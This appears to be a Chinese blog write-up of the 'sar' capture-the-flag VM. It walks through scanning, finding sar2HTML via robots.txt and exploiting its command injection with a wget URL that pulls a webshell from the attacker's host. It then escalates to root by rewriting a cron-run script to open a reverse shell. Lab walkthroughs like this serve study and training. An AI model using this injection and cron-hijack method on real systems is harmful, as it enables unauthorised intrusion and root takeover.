首页 > 系统相关 >06_sar:敏感文件泄露、文件上传、组件漏洞、反弹shell、计划任务提权

06_sar:敏感文件泄露、文件上传、组件漏洞、反弹shell、计划任务提权

时间:2023-07-13 16:14:36浏览次数:37  
标签:文件 shell 06 漏洞 搜索 txt php

1.信息收集

1.1主机发现

截图.png

1.2端口扫描

截图.png

1.3具体扫描

截图.png

1.4目录扫描

截图.png

1.5nmap默认脚本扫描

截图.png

2.信息利用

2.1访问网站:只有一个apache2的页面

截图.png

2.2访问robots.txt

因为robots.txt大多数都是存的目录,所以尝试访问一下

截图.png

可以看到一个带有版本号的文件,这个可能是一个软件,下载压缩包通过观察里面的描述确定是一个有关网站管理的软件

截图.png

2.3漏洞搜索

利用漏洞搜索模块去搜索一下这个版本的软件,这里可以在kali里面进行搜索也可以去网站上搜索相关的漏洞

截图.png

把txt文件移动到本机

截图.png

查看漏洞文件的使用方法:意思就是http://<ip地址>/index.php?plot=;<想要执行的系统命令>

截图.png

探测漏洞是否可以利用:看到页面已经发生变化,并且执行了ls命令

截图.png

既然如此,可以根据执行系统命令去下载一个木马到当前的网站目录里与index.php同级目录下,然后再去访问,这里有一点需要注意的是直接生成的php话可能会被默认操作,所以生成txt文件在下载输出保存成php文件

192.168.142.130/sar2HTML/shell.php

http://192.168.142.130/sar2HTML/index.php?plot=;wget%20http://192.168.142.128/shell.txt%20-O%20shell.php

反弹成功

截图.png

去目录中找特殊可执行文件:发现两个sh文件,相当于windows的bat文件

截图.png

既然是可执行文件,那么这两个可执行文件会不会在计划任务当中:查看计划任务列表

cat /etc/crontab:发现其中一个文件以root账户执行

截图.png

查看finally.sh文件执行内容时,发现文件时嵌套执行的

截图.png

接下来就可以修改write.sh,让这个文件去反弹shell,理论上这两个文件修改哪个都可以吧应该

这个vi很拙劣啊,写个shell搞了十多分钟:最终结果,把这个文件内容删没了,然后不知道怎么就写进去了

截图.png

接下来就是开启监听,等待任务再次执行shell反弹的五分钟:最终提权成功 66f93d6b2ca96c9ad78a8a9ba0008e99

换一张壁纸截图,矮黑

截图.png

标签:文件,shell,06,漏洞,搜索,txt,php
From: https://www.cnblogs.com/BenJM/p/17551156.html

相关文章

  • 远程连接工具xshell上用vi/vim小键盘无法使用的解决办法
    1、https://www.cnblogs.com/my-first-blog-lgz/p/17361128.html问题:后台开发人员经常使用Xshell来访问远程服务器,在用vim(或vi)编辑文件的时,使用小键盘数字键的时候,可能会输入一堆字母和换行,并不是数字。修改:1.修改会话属性2.选择类别“终端”-VT模式3.选择“初始数字键盘模......
  • 清理.git文件夹过大出现臃肿问题-filter-branch和BFG工具
    Git开发手册git一些不常用的命令记不住,可以查看git开发手册(https://m.php.cn/manual/view/34957.html)1、.git/objects/pack文件过大今天从git拉取项目进行开发的时候克隆的很慢,还以为是网速的问题。查看了一些git命令框的拉取网络速度发现网速也很快,克隆下来后才发现是.git文......
  • 处理.git文件夹过大出现臃肿问题-filter-branch和BFG工具
    Git开发手册git一些不常用的命令记不住,可以查看git开发手册(https://m.php.cn/manual/view/34957.html)1、.git/objects/pack文件过大今天从git拉取项目进行开发的时候克隆的很慢,还以为是网速的问题。查看了一些git命令框的拉取网络速度发现网速也很快,克隆下来后才发现是.git文......
  • Shell 特殊符号(变量)用法小结
    Shell|特殊变量 $n基本语法:$n (功能描述:n为数字,$0 代表该脚本名称,$1-$9 代表第一到第九个参数,十以上的参数,十以上的参数需要用大括号包含,如${10})例如:$touchparameter.sh$vimparameter.sh#!/bin/bashecho'==========$n=========='echo$0echo$1echo$2......
  • 前端文件打开并且读取内容展示
    1.函数封装constonloadend1=(e:any,a:any)=>{ const{graph}=FlowGraphconstreader=newFileReader();constfileList=fileRef1.value.files//这个就是选中的文件流if(!fileList.length)returnreader.readAsText(fileList[0],"UTF-8");re......
  • C++ 文件和流
     到目前为止,我们已经使用了 iostream 标准库,它提供了 cin 和 cout 方法分别用于从标准输入读取流和向标准输出写入流。本教程介绍如何从文件读取流和向文件写入流。这就需要用到C++中另一个标准库 fstream,它定义了三个新的数据类型:数据类型描述ofstream该数据类......
  • 关闭文件
     当C++程序终止时,它会自动关闭刷新所有流,释放所有分配的内存,并关闭所有打开的文件。但程序员应该养成一个好习惯,在程序终止前关闭所有打开的文件。下面是close()函数的标准语法,close()函数是fstream、ifstream和ofstream对象的一个成员。https://www.81rz.com/ksjc15......
  • 打开文件
     在从文件读取信息或者向文件写入信息之前,必须先打开文件。ofstream 和 fstream 对象都可以用来打开文件进行写操作,如果只需要打开文件进行读操作,则使用 ifstream 对象。下面是open()函数的标准语法,open()函数是fstream、ifstream和ofstream对象的一个成员。https......
  • shell脚本学习笔记
    目录执行一个shell脚本变量赋值引用高级变量交互式shell数值计算test命令中括号判断符默认变量$0~$n$(())、$()、``、${}、''、""、()、(())、[]、[[]]、{}条件判断-与或非函数循环标准输入输出整数比较&字符串比较shell脚本中调用另一个shell脚本的三种方式:fork、exec、......
  • SimpleITK 读写nii.gz文件
    1、读写nii.gz文件1##usingsimpleITKtoloadandsavedata.2importSimpleITKassitk3itk_img=sitk.ReadImage('./nifti.nii.gz')4img=sitk.GetArrayFromImage(itk_img)5print("imgshape:",img.shape)67##save8out=si......